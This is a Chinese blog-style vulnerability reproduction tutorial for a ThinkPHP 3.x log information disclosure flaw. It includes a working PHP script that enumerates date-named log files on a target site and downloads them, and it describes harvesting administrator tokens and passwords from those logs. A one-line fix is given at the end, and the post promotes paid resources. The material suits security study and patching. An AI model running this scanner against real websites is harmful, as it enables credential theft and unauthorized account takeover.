ThinkPHP 日志信息泄露——漏洞复现

一、漏洞简介

1、ThinkPHP在开启DEBUG的情况下会在Runtime目录下生成日志,而且debug很多网站都没有关
2、ThinkPHP默认安装后,也会在Runtime目录下生成日志

THINKPHP3.2 结构:Application\Runtime\Logs\Home\16_09_09.log
THINKPHP3.1结构:Runtime\Logs\Home\16_09_09.log
日志存储结构是 :项目名\Runtime\Logs\Home\年份_月份_日期.log

在这里插入图片描述

注意:
日志信息非常详细,所以影响应该很大。

例如:
1、通过查看日志内容可以发现管理员的登录请求,访问该请求后,可以在不输入用户名密码的前提下直接获取该账户的token信息,并且成功登录该网站
在这里插入图片描述
2、查看日志获取管理员的密码
在这里插入图片描述

二、环境搭建

下载thinkphp3.2.3版本的源码,下载地址:http://www.thinkphp.cn/download/610.html
下载后,使用phpstudy搭建
在这里插入图片描述

三、漏洞复现

通过漏洞简介,我们知道了漏洞的原理,就是日志的存储结构为:项目名\Runtime\Logs\Home\年份_月份_日期.log,但是一个一个手工测试,太麻烦了,可以使用脚本进行测试,php脚本代码如下所示:

<?php
$url = "http://127.0.0.1/thinkphp_3.2.3/"; //目标网站
$log = "/Application/Runtime/Logs/Home/"; //其中Application可能会变,比如App,需要自己测试
$stime = "20"; //开始时间,2017年写17
$etime = "21"; //结束时间,2018年写18

$url = $url . $log;
for ($i = $stime; $i <= $etime; $i++) {
	//1月到12月
	for ($j = 1; $j <= 12; $j++) {
		//1号到31号
		for ($d = 1; $d <= 31; $d++) {
			//tp3 Log格式:18_01_30.log
			$log = str_pad($i, 2, "0", STR_PAD_LEFT) . "_" . str_pad($j, 2, "0", STR_PAD_LEFT) . "_" . str_pad($d, 2, "0", STR_PAD_LEFT) . ".log";
			if (check_remote_file_exists($url . $log)) {
				file_put_contents($log, file_get_contents($url . $log));
				echo "Found out:$log\n";
			} else {
				echo "$log isn't exists\n";
			}
		}
	}
}

function check_remote_file_exists($url) {
	$curl = curl_init($url);
	curl_setopt($curl, CURLOPT_NOBODY, true);
	$result = curl_exec($curl);
	$found = false;
	if ($result !== false) {
		$statusCode = curl_getinfo($curl, CURLINFO_HTTP_CODE);
		if ($statusCode == 200) {
			$found = true;
		}
	}
	curl_close($curl);
	return $found;
}

运行过程:

需要将tp3.php与php.exe放在同一目录下才行
在这里插入图片描述
运行命令如下图所示
在这里插入图片描述
如果存在日志信息泄露的话,会有相关提示信息,如下图所示
在这里插入图片描述
截至目前为止,thinkphp3与thinkphp5都存在日志信息泄露漏洞,因资料收集过程复杂,thinkphp5的代码放在了知识星球与我的资源中,不列出来了。

四、实战记录可参考以下案例

从外网Thinkphp3日志到杀入内网域控-红队攻击之域内靶机渗透实战演练
https://cloud.tencent.com/developer/article/1752185

https://blog.csdn.net/Fly_hps/article/details/81201904

五、漏洞修复

删除Runtime/Logs下的所有文件,并将APP_DEBUG设置为false

更多资源:

1、web安全工具、渗透测试工具
2、存在漏洞的网站源码与代码审计+漏洞复现教程、
3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频
4、应急响应真实案例复现靶场与应急响应教程

收集整理在知识星球,可加入知识星球进行查看。也可搜索关注微信公众号:W小哥
在这里插入图片描述

  • 3
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 11
    评论
评论 11
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

W小哥1

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值